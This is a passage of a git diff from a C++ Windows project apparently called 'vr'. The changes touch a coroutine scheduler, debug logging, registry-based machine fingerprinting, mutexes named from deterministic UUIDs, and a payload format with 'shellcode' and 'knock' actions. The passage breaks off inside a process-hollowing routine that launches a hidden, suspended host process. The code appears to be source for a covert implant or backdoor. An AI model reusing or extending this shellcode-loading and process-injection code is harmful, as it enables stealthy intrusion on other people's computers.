int sleep_time = INT_MAX; + for (auto it = _runnables.begin(); it != _runnables.end();) + { + auto& runnable = *it; + unsigned time_slept = GetTickCount() - runnable->last_run; + int time_left_to_sleep = runnable->sleep - time_slept; + if (!_terminating && time_left_to_sleep <= 0) + { + _current = runnable; + SwitchToFiber(runnable->this_fiber); + + if(_sleep == ~0U) + { + DeleteFiber(runnable->this_fiber); + it = _runnables.erase(it); + } + else + { + runnable->last_run = GetTickCount(); + runnable->sleep = _sleep; + + _current = nullptr; + _sleep = 0; + + sleep_time = min(sleep_time, (int) runnable->sleep); + + ++it; + } + } + else + { + sleep_time = min(sleep_time, time_left_to_sleep); + ++it; + } + } + Sleep((unsigned)sleep_time); + } +} diff --git a/src/shared/coroutine.h b/src/shared/coroutine.h index d3cc3f4..4e9de99 100644 --- a/src/shared/coroutine.h +++ b/src/shared/coroutine.h @@ -1,68 +1,72 @@ -// -// MIT License -// -// Copyright (c) 2019 Rokas Kupstys -// -// Permission is hereby granted, free of charge, to any person obtaining a -// copy of this software and associated documentation files (the "Software"), -// to deal in the Software without restriction, including without limitation -// the rights to use, copy, modify, merge, publish, distribute, sublicense, -// and/or sell copies of the Software, and to permit persons to whom the -// Software is furnished to do so, subject to the following conditions: -// -// The above copyright notice and this permission notice shall be included in -// all copies or substantial portions of the Software. -// -// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL -// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING -// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER -// DEALINGS IN THE SOFTWARE. -// -#pragma once - -#include -#include -#include - -typedef stl::function coro_func; - -class coroutine_loop -{ - void* _main_fiber; - unsigned int _sleep; - bool _terminating; - - static unsigned CALLBACK _run_coro_func(void*); - - struct coro_ctx - { - void* this_fiber = nullptr; - coro_func func{}; - unsigned sleep = 0; - unsigned last_run = GetTickCount(); - }; - -public: - coroutine_loop(); - static void activate(coroutine_loop& loop); - void* get_main_fiber(unsigned int ms = 0); - void start(const coro_func& coro, unsigned stack_size = 1024 * 32); - void stop_all() { _terminating = true; } - bool is_active() const { return !_terminating; } - coro_ctx* get_current_coro() { return _current; } - void run(); - - static coroutine_loop* current_loop; - -protected: - stl::vector _runnables; - stl::vector _starting; - coro_ctx* _current = nullptr; -}; - -inline bool yield(unsigned sleepMs = 0) { SwitchToFiber(coroutine_loop::current_loop->get_main_fiber(sleepMs)); return coroutine_loop::current_loop->is_active(); } -#define coro_start(proc) coroutine_loop::current_loop->start(proc) -#define coro_run() coroutine_loop::current_loop->run(); +// +// MIT License +// +// Copyright (c) 2019 Rokas Kupstys +// +// Permission is hereby granted, free of charge, to any person obtaining a +// copy of this software and associated documentation files (the "Software"), +// to deal in the Software without restriction, including without limitation +// the rights to use, copy, modify, merge, publish, distribute, sublicense, +// and/or sell copies of the Software, and to permit persons to whom the +// Software is furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in +// all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL +// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +// DEALINGS IN THE SOFTWARE. +// +#pragma once + +#include +#include +#include + +inline unsigned operator "" _sec(unsigned long long int n) { return static_cast(n * 1000); } +inline unsigned operator "" _min(unsigned long long int n) { return static_cast(n * 60 * 1000); } +inline unsigned operator "" _hour(unsigned long long int n) { return static_cast(n * 60 * 60 * 1000); } + +typedef stl::function coro_func; + +class coroutine_loop +{ + void* _main_fiber; + unsigned int _sleep; + bool _terminating; + + static unsigned CALLBACK _run_coro_func(void*); + + struct coro_ctx + { + void* this_fiber = nullptr; + coro_func func{}; + unsigned sleep = 0; + unsigned last_run = GetTickCount(); + }; + +public: + coroutine_loop(); + static void activate(coroutine_loop& loop); + void* get_main_fiber(unsigned int ms = 0); + void start(const coro_func& coro, unsigned stack_size = 1024 * 32); + void stop_all() { _terminating = true; } + bool is_active() const { return !_terminating; } + coro_ctx* get_current_coro() { return _current; } + void run(); + + static coroutine_loop* current_loop; + +protected: + stl::vector _runnables; + stl::vector _starting; + coro_ctx* _current = nullptr; +}; + +inline bool yield(unsigned sleepMs = 0) { SwitchToFiber(coroutine_loop::current_loop->get_main_fiber(sleepMs)); return coroutine_loop::current_loop->is_active(); } +#define coro_start(proc) coroutine_loop::current_loop->start(proc) +#define coro_run() coroutine_loop::current_loop->run(); diff --git a/src/shared/debug.cpp b/src/shared/debug.cpp index b3a7d9b..4fd1ac0 100644 --- a/src/shared/debug.cpp +++ b/src/shared/debug.cpp @@ -1,57 +1,57 @@ -// -// MIT License -// -// Copyright (c) 2019 Rokas Kupstys -// -// Permission is hereby granted, free of charge, to any person obtaining a -// copy of this software and associated documentation files (the "Software"), -// to deal in the Software without restriction, including without limitation -// the rights to use, copy, modify, merge, publish, distribute, sublicense, -// and/or sell copies of the Software, and to permit persons to whom the -// Software is furnished to do so, subject to the following conditions: -// -// The above copyright notice and this permission notice shall be included in -// all copies or substantial portions of the Software. -// -// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL -// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING -// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER -// DEALINGS IN THE SOFTWARE. -// -#include -#include -#include -#include -#include -#include -#include "debug.h" - -#ifdef DEBUG_MIN_LOG_LEVEL -extern "C" void debug_log(DebugLevel lvl, const char* format, const char* file, unsigned line, ...) -{ - if (DEBUG_MIN_LOG_LEVEL > lvl) - return; - - va_list ap; - va_start(ap, line); - - time_t now = 0; - time(&now); - tm* ts = localtime(&now); - - stl::string base_msg = stl::string::format(format, ap); - stl::string msg = stl::string::format("[%02d:%02d:%02d] %s", ts->tm_hour, ts->tm_min, ts->tm_sec, base_msg.c_str()); - if (IsDebuggerPresent()) - { - msg += "\n"; - printf("%s", msg.c_str()); - } - else - printf("%s\n", msg.c_str()); - OutputDebugStringA(msg.c_str()); - va_end(ap); -} -#endif +// +// MIT License +// +// Copyright (c) 2019 Rokas Kupstys +// +// Permission is hereby granted, free of charge, to any person obtaining a +// copy of this software and associated documentation files (the "Software"), +// to deal in the Software without restriction, including without limitation +// the rights to use, copy, modify, merge, publish, distribute, sublicense, +// and/or sell copies of the Software, and to permit persons to whom the +// Software is furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in +// all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL +// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +// DEALINGS IN THE SOFTWARE. +// +#include +#include +#include +#include +#include +#include +#include "debug.h" + +#ifdef DEBUG_MIN_LOG_LEVEL +extern "C" void debug_log(DebugLevel lvl, const char* format, const char* file, unsigned line, ...) +{ + if (DEBUG_MIN_LOG_LEVEL > lvl) + return; + + va_list ap; + va_start(ap, line); + + time_t now = 0; + time(&now); + tm* ts = localtime(&now); + + stl::string base_msg = stl::string::format(format, ap); + stl::string msg = stl::string::format("[%02d:%02d:%02d] %s", ts->tm_hour, ts->tm_min, ts->tm_sec, base_msg.c_str()); + if (IsDebuggerPresent()) + { + msg += "\n"; + printf("%s", msg.c_str()); + } + else + printf("%s\n", msg.c_str()); + OutputDebugStringA(msg.c_str()); + va_end(ap); +} +#endif diff --git a/src/shared/debug.h b/src/shared/debug.h index 904ec71..c5ca24f 100644 --- a/src/shared/debug.h +++ b/src/shared/debug.h @@ -1,54 +1,54 @@ -// -// MIT License -// -// Copyright (c) 2019 Rokas Kupstys -// -// Permission is hereby granted, free of charge, to any person obtaining a -// copy of this software and associated documentation files (the "Software"), -// to deal in the Software without restriction, including without limitation -// the rights to use, copy, modify, merge, publish, distribute, sublicense, -// and/or sell copies of the Software, and to permit persons to whom the -// Software is furnished to do so, subject to the following conditions: -// -// The above copyright notice and this permission notice shall be included in -// all copies or substantial portions of the Software. -// -// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL -// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING -// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER -// DEALINGS IN THE SOFTWARE. -// -#pragma once - - -enum DebugLevel -{ - DebugLevelDebug, - DebugLevelWarning, - DebugLevelError, - DebugLevelCritical, -}; - -#ifdef DEBUG -# define DEBUG_MIN_LOG_LEVEL DebugLevelDebug -#endif - -#ifdef __cplusplus -extern "C" -#endif -void debug_log(enum DebugLevel lvl, const char* format, const char* file, unsigned line, ...); - -#ifdef DEBUG_MIN_LOG_LEVEL -# define LOG_CRITICAL(format, ...) debug_log(DebugLevelCritical, format, __FILE__, __LINE__, ##__VA_ARGS__) -# define LOG_ERROR(format, ...) debug_log(DebugLevelError, format, __FILE__, __LINE__, ##__VA_ARGS__) -# define LOG_WARNING(format, ...) debug_log(DebugLevelWarning, format, __FILE__, __LINE__, ##__VA_ARGS__) -# define LOG_DEBUG(format, ...) debug_log(DebugLevelDebug, format, __FILE__, __LINE__, ##__VA_ARGS__) -#else -# define LOG_CRITICAL(...) (void)0 -# define LOG_ERROR(...) (void)0 -# define LOG_WARNING(...) (void)0 -# define LOG_DEBUG(...) (void)0 -#endif +// +// MIT License +// +// Copyright (c) 2019 Rokas Kupstys +// +// Permission is hereby granted, free of charge, to any person obtaining a +// copy of this software and associated documentation files (the "Software"), +// to deal in the Software without restriction, including without limitation +// the rights to use, copy, modify, merge, publish, distribute, sublicense, +// and/or sell copies of the Software, and to permit persons to whom the +// Software is furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in +// all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL +// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +// DEALINGS IN THE SOFTWARE. +// +#pragma once + + +enum DebugLevel +{ + DebugLevelDebug, + DebugLevelWarning, + DebugLevelError, + DebugLevelCritical, +}; + +#ifdef DEBUG +# define DEBUG_MIN_LOG_LEVEL DebugLevelDebug +#endif + +#ifdef __cplusplus +extern "C" +#endif +void debug_log(enum DebugLevel lvl, const char* format, const char* file, unsigned line, ...); + +#ifdef DEBUG_MIN_LOG_LEVEL +# define LOG_CRITICAL(format, ...) debug_log(DebugLevelCritical, format, __FILE__, __LINE__, ##__VA_ARGS__) +# define LOG_ERROR(format, ...) debug_log(DebugLevelError, format, __FILE__, __LINE__, ##__VA_ARGS__) +# define LOG_WARNING(format, ...) debug_log(DebugLevelWarning, format, __FILE__, __LINE__, ##__VA_ARGS__) +# define LOG_DEBUG(format, ...) debug_log(DebugLevelDebug, format, __FILE__, __LINE__, ##__VA_ARGS__) +#else +# define LOG_CRITICAL(...) (void)0 +# define LOG_ERROR(...) (void)0 +# define LOG_WARNING(...) (void)0 +# define LOG_DEBUG(...) (void)0 +#endif diff --git a/src/shared/math.cpp b/src/shared/math.cpp index fbe2f7a..81bc265 100644 --- a/src/shared/math.cpp +++ b/src/shared/math.cpp @@ -1,104 +1,146 @@ -// -// MIT License -// -// Copyright (c) 2019 Rokas Kupstys -// -// Permission is hereby granted, free of charge, to any person obtaining a -// copy of this software and associated documentation files (the "Software"), -// to deal in the Software without restriction, including without limitation -// the rights to use, copy, modify, merge, publish, distribute, sublicense, -// and/or sell copies of the Software, and to permit persons to whom the -// Software is furnished to do so, subject to the following conditions: -// -// The above copyright notice and this permission notice shall be included in -// all copies or substantial portions of the Software. -// -// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL -// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING -// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER -// DEALINGS IN THE SOFTWARE. -// -// Trick compiler into linking to _snprintf from ntdll and thus save executable size. -#define _NO_CRT_STDIO_INLINE -#include -#include -#include -#include -#include "math.h" -#include "rc4.h" -#include "../config.h" - -extern "C" -{ - -uint64_t deterministic_uuid_seed; - -int random(int min, int max) -{ - auto range = max - min; - assert(range > 0); - float random = ((float)(rand() + rand())) / (RAND_MAX + RAND_MAX); - return static_cast(random * range + min); -} - -uint64_t get_machine_hash() -{ - // Use unique per-machine GUID to seed generation of deterministic GUIDs to make them unique on each machine. - uint64_t machine_hash = vr_shared_key; - HKEY hKey = nullptr; - if (RegOpenKeyExA(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Cryptography", 0, KEY_QUERY_VALUE|KEY_WOW64_64KEY, &hKey) == ERROR_SUCCESS) - { - union - { - char machine_guid[40]; - uint64_t n[5]; - } u{}; - DWORD guid_size = sizeof(u.machine_guid); - DWORD key_type = REG_SZ; - if (RegQueryValueExA(hKey, "MachineGuid", nullptr, &key_type, (LPBYTE)u.machine_guid, &guid_size) == ERROR_SUCCESS) - { - for (uint64_t k : u.n) - machine_hash ^= k; - } - RegCloseKey(hKey); - hKey = nullptr; - } - - return machine_hash; -} - -void deterministic_uuid(uint64_t seed, char uuid[44]) -{ - uint32_t a = 0; - uint16_t b = 0; - uint16_t c = 0; - uint16_t d = 0; - uint32_t e = 0; - uint16_t f = 0; - - rc4_ctx rc4{}; - rc4_init(&rc4, deterministic_uuid_seed + seed); - - rc4_xor(&rc4, (uint8_t*)&a, sizeof(a)); - rc4_xor(&rc4, (uint8_t*)&b, sizeof(b)); - rc4_xor(&rc4, (uint8_t*)&c, sizeof(c)); - rc4_xor(&rc4, (uint8_t*)&d, sizeof(d)); - rc4_xor(&rc4, (uint8_t*)&e, sizeof(e)); - rc4_xor(&rc4, (uint8_t*)&f, sizeof(f)); - - c &= 0xfff; // Clear first digit so it can be always 4. Lets pretend its uuid4. - - _snprintf(uuid, 44, "{%08X-%04X-4%03X-%04X-%08X-%04X}", a, b, c, d, e, f); -} - -} - -stl::string deterministic_uuid(uint64_t seed) -{ - char uuid[44]; - deterministic_uuid(seed, uuid); - return uuid; -} +// +// MIT License +// +// Copyright (c) 2019 Rokas Kupstys +// +// Permission is hereby granted, free of charge, to any person obtaining a +// copy of this software and associated documentation files (the "Software"), +// to deal in the Software without restriction, including without limitation +// the rights to use, copy, modify, merge, publish, distribute, sublicense, +// and/or sell copies of the Software, and to permit persons to whom the +// Software is furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in +// all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL +// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +// DEALINGS IN THE SOFTWARE. +// +// Trick compiler into linking to _snprintf from ntdll and thus save executable size. +#define _NO_CRT_STDIO_INLINE +#include +#include +#include +#include +#include "vr-config.h" +#include "math.h" +#include "rc4.h" + +extern "C" +{ + +uint64_t deterministic_uuid_seed; + +int random(int min, int max) +{ + auto range = max - min; + assert(range > 0); + float random = ((float)(rand() + rand())) / (RAND_MAX + RAND_MAX); + return static_cast(random * range + min); +} + +uint64_t get_machine_hash() +{ + // Use unique per-machine GUID to seed generation of deterministic GUIDs to make them unique on each machine. + uint64_t machine_hash = vr_shared_key; + HKEY hKey = nullptr; + if (RegOpenKeyExA(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Cryptography", 0, KEY_QUERY_VALUE|KEY_WOW64_64KEY, &hKey) == ERROR_SUCCESS) + { + union + { + char machine_guid[40]; + uint64_t n[5]; + } u{}; + DWORD guid_size = sizeof(u.machine_guid); + DWORD key_type = REG_SZ; + if (RegQueryValueExA(hKey, "MachineGuid", nullptr, &key_type, (LPBYTE)u.machine_guid, &guid_size) == ERROR_SUCCESS) + { + for (uint64_t k : u.n) + machine_hash ^= k; + } + RegCloseKey(hKey); + hKey = nullptr; + } + + return machine_hash; +} + +void deterministic_uuid(uint64_t seed, char uuid[44]) +{ + uint32_t a = 0; + uint16_t b = 0; + uint16_t c = 0; + uint16_t d = 0; + uint32_t e = 0; + uint16_t f = 0; + + rc4_ctx rc4{}; + rc4_init(&rc4, deterministic_uuid_seed + seed); + + rc4_xor(&rc4, (uint8_t*)&a, sizeof(a)); + rc4_xor(&rc4, (uint8_t*)&b, sizeof(b)); + rc4_xor(&rc4, (uint8_t*)&c, sizeof(c)); + rc4_xor(&rc4, (uint8_t*)&d, sizeof(d)); + rc4_xor(&rc4, (uint8_t*)&e, sizeof(e)); + rc4_xor(&rc4, (uint8_t*)&f, sizeof(f)); + + c &= 0xfff; // Clear first digit so it can be always 4. Lets pretend its uuid4. + + _snprintf(uuid, 44, "{%08X-%04X-4%03X-%04X-%08X-%04X}", a, b, c, d, e, f); +} + +HANDLE mutex_create(uint64_t seed) +{ + char mutexName[51] = "Global\\"; + deterministic_uuid(seed, mutexName + 7); + return CreateMutexA(NULL, FALSE, mutexName); +} + +bool mutex_acquire(HANDLE mutex) +{ + if (mutex == NULL) + return false; + auto result = WaitForSingleObject(mutex, 0); + return result == WAIT_ABANDONED || result == WAIT_OBJECT_0; +} + +HANDLE mutex_lock(uint64_t seed) +{ + if (HANDLE mutex = mutex_create(seed)) + { + if (mutex_acquire(mutex)) + return mutex; + CloseHandle(mutex); + } + return 0; +} + +BOOL mutex_is_locked(uint64_t seed) +{ + if (HANDLE mutex = mutex_lock(seed)) + { + ReleaseMutex(mutex); + CloseHandle(mutex); + return FALSE; + } + return TRUE; +} + +int64_t combine_hash(int64_t result, int64_t hash) +{ + return result ^ (hash + 0x9ddfea08eb382d69 + (result << 12) + (result >> 4)); +} + +} + +stl::string deterministic_uuid(uint64_t seed) +{ + char uuid[44]; + deterministic_uuid(seed, uuid); + return uuid; +} diff --git a/src/shared/math.h b/src/shared/math.h index 97b602f..4c6d567 100644 --- a/src/shared/math.h +++ b/src/shared/math.h @@ -1,43 +1,48 @@ -// -// MIT License -// -// Copyright (c) 2019 Rokas Kupstys -// -// Permission is hereby granted, free of charge, to any person obtaining a -// copy of this software and associated documentation files (the "Software"), -// to deal in the Software without restriction, including without limitation -// the rights to use, copy, modify, merge, publish, distribute, sublicense, -// and/or sell copies of the Software, and to permit persons to whom the -// Software is furnished to do so, subject to the following conditions: -// -// The above copyright notice and this permission notice shall be included in -// all copies or substantial portions of the Software. -// -// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL -// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING -// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER -// DEALINGS IN THE SOFTWARE. -// -#pragma once - -#ifdef __cplusplus -extern "C" { -#endif - -extern uint64_t deterministic_uuid_seed; - -int random(int min, int max); -uint64_t get_machine_hash(); -void deterministic_uuid(uint64_t seed, char uuid[44]); - -#ifdef __cplusplus -} -#endif - -#ifdef __cplusplus -#include -stl::string deterministic_uuid(uint64_t seed); -#endif +// +// MIT License +// +// Copyright (c) 2019 Rokas Kupstys +// +// Permission is hereby granted, free of charge, to any person obtaining a +// copy of this software and associated documentation files (the "Software"), +// to deal in the Software without restriction, including without limitation +// the rights to use, copy, modify, merge, publish, distribute, sublicense, +// and/or sell copies of the Software, and to permit persons to whom the +// Software is furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in +// all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL +// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +// DEALINGS IN THE SOFTWARE. +// +#pragma once + +#include + +#ifdef __cplusplus +extern "C" { +#endif + +extern uint64_t deterministic_uuid_seed; + +int random(int min, int max); +uint64_t get_machine_hash(); +void deterministic_uuid(uint64_t seed, char uuid[44]); +HANDLE mutex_lock(uint64_t seed); +BOOL mutex_is_locked(uint64_t seed); +int64_t combine_hash(int64_t result, int64_t hash); + +#ifdef __cplusplus +} +#endif + +#ifdef __cplusplus +#include +stl::string deterministic_uuid(uint64_t seed); +#endif diff --git a/src/shared/payload.cpp b/src/shared/payload.cpp index 86f0d51..741f9e7 100644 --- a/src/shared/payload.cpp +++ b/src/shared/payload.cpp @@ -28,7 +28,7 @@ #include "../shared/win32.h" #include "../shared/rc4.h" #include "../shared/shellcode.h" -#include "../config.h" +#include "vr-config.h" #include "payload.h" diff --git a/src/shared/payload.h b/src/shared/payload.h index fdb2b2b..f3c9296 100644 --- a/src/shared/payload.h +++ b/src/shared/payload.h @@ -1,42 +1,42 @@ -// -// MIT License -// -// Copyright (c) 2019 Rokas Kupstys -// -// Permission is hereby granted, free of charge, to any person obtaining a -// copy of this software and associated documentation files (the "Software"), -// to deal in the Software without restriction, including without limitation -// the rights to use, copy, modify, merge, publish, distribute, sublicense, -// and/or sell copies of the Software, and to permit persons to whom the -// Software is furnished to do so, subject to the following conditions: -// -// The above copyright notice and this permission notice shall be included in -// all copies or substantial portions of the Software. -// -// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL -// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING -// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER -// DEALINGS IN THE SOFTWARE. -// -#pragma once - -#include +// +// MIT License +// +// Copyright (c) 2019 Rokas Kupstys +// +// Permission is hereby granted, free of charge, to any person obtaining a +// copy of this software and associated documentation files (the "Software"), +// to deal in the Software without restriction, including without limitation +// the rights to use, copy, modify, merge, publish, distribute, sublicense, +// and/or sell copies of the Software, and to permit persons to whom the +// Software is furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in +// all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL +// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +// DEALINGS IN THE SOFTWARE. +// +#pragma once + +#include #include "context.h" - -#define payload_magic_v1 0xdfc14973u -#define payload_action_shellcode 0 -#define payload_action_knock 1 - -#pragma pack(1) -struct vr_payload -{ - uint32_t magic; - uint32_t timestamp; - uint8_t action; -}; -#pragma pack() + +#define payload_magic_v1 0xdfc14973u +#define payload_action_shellcode 0 +#define payload_action_knock 1 + +#pragma pack(1) +struct vr_payload +{ + uint32_t magic; + uint32_t timestamp; + uint8_t action; +}; +#pragma pack() bool handle_payload(context& ctx, uint8_t* data, unsigned len, void* userdata=nullptr); diff --git a/src/shared/process_hollowing.cpp b/src/shared/process_hollowing.cpp index 9e9f497..95d61b8 100644 --- a/src/shared/process_hollowing.cpp +++ b/src/shared/process_hollowing.cpp @@ -1,241 +1,241 @@ -// -// MIT License -// -// Copyright (c) 2019 Rokas Kupstys -// -// Permission is hereby granted, free of charge, to any person obtaining a -// copy of this software and associated documentation files (the "Software"), -// to deal in the Software without restriction, including without limitation -// the rights to use, copy, modify, merge, publish, distribute, sublicense, -// and/or sell copies of the Software, and to permit persons to whom the -// Software is furnished to do so, subject to the following conditions: -// -// The above copyright notice and this permission notice shall be included in -// all copies or substantial portions of the Software. -// -// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL -// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING -// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER -// DEALINGS IN THE SOFTWARE. -// -#include -#include "process_hollowing.h" -#include "debug.h" - -#define GET_FIELD_SAFE(s, field, def) ((s) ? ((s)->field) : (def)) - -hollow_process_information hollow_process(void* image, const char* host, hollow_process_startup_info* info) -{ - hollow_process_information pi{}; - STARTUPINFOA si{}; - - do - { - si.cb = sizeof(STARTUPINFOA); - si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; - si.wShowWindow = SW_HIDE; - si.hStdInput = GetStdHandle(STD_INPUT_HANDLE); - si.hStdOutput = GetStdHandle(STD_OUTPUT_HANDLE); - si.hStdError = GetStdHandle(STD_ERROR_HANDLE); - - auto params_size = strlen(host) + 1 /* space between app and args */; - if (auto* args = GET_FIELD_SAFE(info, args, nullptr)) - params_size += strlen(args); - params_size += 1 /* terminating null */; - - char* process_params = new char[params_size]{}; - strcat(process_params, host); - - if (info && info->args) - { - strcat(process_params, " "); - strcat(process_params, info->args); - } - - BOOL process_created = FALSE; - if (HANDLE user_token = GET_FIELD_SAFE(info, user_token, 0)) - { - si.lpDesktop = const_cast("winsta0\\default"); - process_created = CreateProcessAsUser(user_token, nullptr, process_params, nullptr, nullptr, - GET_FIELD_SAFE(info, inherit_handles, false), CREATE_SUSPENDED | 